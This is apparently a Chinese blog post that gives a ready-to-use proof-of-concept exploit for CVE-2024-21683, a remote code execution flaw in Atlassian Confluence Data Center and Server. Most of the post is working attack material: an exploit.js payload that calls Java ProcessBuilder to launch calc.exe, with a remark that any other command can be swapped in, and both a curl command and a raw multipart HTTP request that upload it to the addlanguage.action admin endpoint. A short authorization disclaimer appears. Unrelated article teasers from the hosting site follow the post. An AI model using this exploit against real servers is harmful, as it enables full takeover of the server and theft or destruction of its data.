news 2026/9/25 0:31:09

CVE-2024-21683:Confluence Data Center 与 Server 远程代码执行漏洞分析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CVE-2024-21683:Confluence Data Center 与 Server 远程代码执行漏洞分析

CVE-2024-21683:Confluence Data Center 与 Server 远程代码执行漏洞

项目描述

CVE-2024-21683 是 Atlassian Confluence Data Center 和 Server 版本中存在的一个严重安全漏洞。该漏洞允许经过身份验证的攻击者通过特定的管理员插件功能,上传恶意的 JavaScript 文件,从而在服务器上执行任意系统命令。成功利用此漏洞可能导致攻击者完全控制受影响的 Confluence 服务器,进而窃取数据、篡改信息或破坏服务可用性。

功能特性

  • 漏洞验证:提供了两种详细的漏洞利用请求方法,用于验证目标 Confluence 服务器是否存在 CVE-2024-21683 漏洞。
  • 命令执行:利用 Java 的ProcessBuilder类,通过上传的 JavaScript 文件在目标服务器上执行任意操作系统命令(示例中为启动计算器程序calc.exe)。
  • 多种利用方式:包含通过curl命令行工具和原始 HTTP POST 请求两种攻击向量,适应不同测试环境和工具链。
  • 清晰的触发条件:明确了漏洞利用成功的关键要素,包括有效的管理员会话(atl_tokenCookie)以及对/admin/plugins/newcode/addlanguage.action端点的访问权限。

安装指南

此项目并非一个需要安装的软件,而是一个安全漏洞的概念验证(PoC)和说明文档。因此,没有传统的安装步骤或依赖项。

使用前提:

  1. 一个用于测试的、受漏洞影响的 Atlassian Confluence Data Center 或 Server 环境。
  2. 具备该环境的网络访问权限。
  3. 拥有一个有效的、具有管理员权限的 Confluence 用户会话(用于获取atl_tokenCookie)。
  4. 用于发送 HTTP 请求的工具,如curl、Burp Suite 或 Postman。

注意:此 PoC 仅限用于授权的安全测试、教育研究或漏洞验证。严禁在未获得明确授权的情况下对任何系统进行测试。

使用说明

基础利用步骤

  1. 准备恶意负载:创建一个名为exploit.js的文本文件,内容如下:

    newjava.lang.ProcessBuilder["(java.lang.String[])"](["calc.exe"]).start()

    您可以将calc.exe替换为目标服务器操作系统支持的任何其他命令。

  2. 获取认证令牌:登录到目标 Confluence 的管理员后台,从相关表单或页面中获取有效的atl_token值以及当前会话的Cookie

  3. 执行漏洞利用:选择以下任一方法发送攻击请求。

利用方法一:使用 cURL 命令

在终端中执行以下命令,替换[IP_address][atl_token][Your cookies]为实际值。

curl-X POST http://[IP_address]:8090/admin/plugins/newcode/addlanguage.action -H"Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvguW5DY0BuQ87x08"-F"atl_token=[atl_token]"-F"languageFile=@exploit.js;filename=exploit.js"-F"newLanguageName=RCE"--cookie"[Your cookies]"

利用方法二:发送原始 HTTP 请求

使用 Burp Suite、Postman 或类似的 HTTP 客户端工具,发送如下格式的 POST 请求。

POST /admin/plugins/newcode/addlanguage.action HTTP/1.1 Host: 127.0.0.1:8090 Content-Length: 512 Cache-Control: max-age=0 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvguW5DY0BuQ87x08 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Cookie: [Your cookies ] Connection: close WebKitFormBoundaryvguW5DY0BuQ87x08 Content-Disposition: form-data; name="atl_token" [ atl_token ] WebKitFormBoundaryvguW5DY0BuQ87x08 Content-Disposition: form-data; name="languageFile"; filename="exploit.js" Content-Type: text/javascript new java.lang.ProcessBuilder["(java.lang.String[])"](["calc.exe"]).start() WebKitFormBoundaryvguW5DY0BuQ87x08 Content-Disposition: form-data; name="newLanguageName" RCE WebKitFormBoundaryvguW5DY0BuQ87x08--

验证利用结果

如果目标服务器存在漏洞且利用请求成功,服务器将解析并执行exploit.js文件中的 JavaScript 代码。在 Windows 服务器上,这将导致calc.exe(计算器)进程被启动,作为命令执行成功的直观证明。

核心代码

以下是构成此 PoC 的核心代码片段及其注释:

1. 恶意 JavaScript 负载 (exploit.js)

// 利用Java的ProcessBuilder类执行系统命令// `["calc.exe"]` 是要执行的命令及其参数列表(此处仅为启动计算器的命令)// `.start()` 方法启动该进程newjava.lang.ProcessBuilder["(java.lang.String[])"](["calc.exe"]).start()

注释:这是漏洞利用的核心。它利用了 Confluence 服务端对上传的 JavaScript 文件进行不安全解析或执行的特性,直接调用了 Java 运行时环境来创建新的系统进程。

2. cURL 攻击命令的关键部分

-F"languageFile=@exploit.js;filename=exploit.js"

注释-F参数用于向multipart/form-data类型的表单提交文件。@exploit.js指定了要上传的本地文件路径,filename=exploit.js设置了文件在HTTP请求中的名称。这是将恶意脚本上传到漏洞端点的关键参数。

3. HTTP 请求中的 multipart 表单数据体

WebKitFormBoundaryvguW5DY0BuQ87x08 Content-Disposition: form-data; name="languageFile"; filename="exploit.js" Content-Type: text/javascript [恶意JS代码内容]

注释:这部分展示了原始 HTTP 请求中上传文件的格式。Content-Disposition头部指明了这是一个表单文件字段,其名称为languageFile,服务器端代码预期通过此名称接收文件。Content-Type告诉服务器文件类型为 JavaScript,这可能是触发服务器端特定解析逻辑的条件之一。边界符------WebKitFormBoundary...用于分隔表单中的不同字段。
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/23 19:39:50

终极免费表情符号库:微软Fluent Emoji完整使用指南

终极免费表情符号库:微软Fluent Emoji完整使用指南 【免费下载链接】fluentui-emoji A collection of familiar, friendly, and modern emoji from Microsoft 项目地址: https://gitcode.com/gh_mirrors/fl/fluentui-emoji 想要为你的数字创作注入生动趣味和…

作者头像 李华
网站建设 2026/9/9 3:53:32

VBScript 条件语句

VBScript 条件语句详解 VBScript 提供了两种主要的条件语句:If…Then…Else 和 Select Case。它们用于根据条件执行不同的代码块。 1. If…Then…Else 语句 最常用、最灵活的条件判断结构。 语法结构 单行形式(简单条件): If …

作者头像 李华
网站建设 2026/9/21 19:26:42

VBScript 关键字

VBScript 关键字(保留字)详解 VBScript 的关键字(Reserved Keywords) 是不能用作变量名、函数名、子程序名或常量的标识符。这些词具有特殊含义,由 VBScript 解释器保留使用。 以下是 VBScript 的完整保留关键字列表…

作者头像 李华
网站建设 2026/9/24 18:11:07

PaddlePaddle镜像如何实现GPU训练任务排队机制

PaddlePaddle镜像如何实现GPU训练任务排队机制 在深度学习项目从实验室走向生产线的过程中,一个常见的挑战浮出水面:多个团队成员同时提交训练任务,GPU服务器却频繁崩溃。这种“抢卡大战”不仅拖慢了研发节奏,更造成了昂贵硬件资源…

作者头像 李华
网站建设 2026/9/8 19:02:16

WhisperLiveKit说话人区分实战:从混乱对话到清晰记录

WhisperLiveKit说话人区分实战:从混乱对话到清晰记录 【免费下载链接】WhisperLiveKit Real-time, Fully Local Speech-to-Text and Speaker Diarization. FastAPI Server & Web Interface 项目地址: https://gitcode.com/GitHub_Trending/wh/WhisperLiveKit …

作者头像 李华